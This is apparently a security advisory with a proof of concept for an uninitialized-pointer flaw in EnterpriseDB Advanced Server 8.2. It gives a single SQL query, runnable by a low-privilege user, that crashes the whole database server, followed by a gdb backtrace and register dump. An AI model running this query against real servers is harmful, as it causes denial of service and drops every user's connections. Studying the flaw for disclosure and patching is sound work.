56 lines
2.1 KiB
Text
Executable file
56 lines
2.1 KiB
Text
Executable file
source: http://www.securityfocus.com/bid/25481/info
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EnterpriseDB Advanced Server is prone to an uninitialized-pointer vulnerability.
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Authenticated attackers can exploit this issue to cause denial-of-service conditions. Given the nature of this vulnerability, remote code execution may also be possible, but this has not been confirmed.
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EnterpriseDB Advanced Server 8.2 is vulnerable; other versions may also be affected.
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1) Connect to one vulnerable EnterpriseDB as a low level user (the
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execution privilege over the pldbg_* function is granted by default).
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2) Execute the following query:
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edb=> select pldbg_abort_target(1094861636); -- 0x41424344 in decimal
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(gdb) where
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#0 0x00ba81db in sendBytes ()
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from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
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#1 0x00ba82a1 in sendUInt32 ()
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from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
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#2 0x00ba82e3 in sendString ()
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from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
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#3 0x00ba8880 in pldbg_abort_target ()
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from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
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#4 0x0816669d in ExecMakeFunctionResult ()
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#5 0x08168d51 in ExecProject ()
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#6 0x0817544d in ExecResult ()
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#7 0x08162f65 in ExecProcNode ()
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#8 0x08161931 in ExecutorRun ()
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#9 0x081fa2e3 in PortalRunSelect ()
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#10 0x081fb12a in PortalRun ()
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#11 0x081f5a8b in exec_simple_query ()
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#12 0x081f76ec in PostgresMain ()
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#13 0x081ca356 in ServerLoop ()
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#14 0x081cb2b7 in PostmasterMain ()
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#15 0x081865d7 in main ()
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(gdb) x /i $pc
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0xba81db <sendBytes+11>: mov (%eax),%eax
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(gdb) i r
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eax 0x41424344 1094861636
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ecx 0x4 4
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edx 0xbff46c04 -1074500604
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ebx 0xbacbd8 12241880
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esp 0xbff46bc0 0xbff46bc0
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ebp 0xbff46be8 0xbff46be8
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esi 0x4 4
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edi 0xbab597 12236183
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eip 0xba81db 0xba81db
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eflags 0x10286 66182
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cs 0x73 115
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ss 0x7b 123
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ds 0x7b 123
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es 0x7b 123
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fs 0x0 0
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The complete database server (droping all active conections) crashes.
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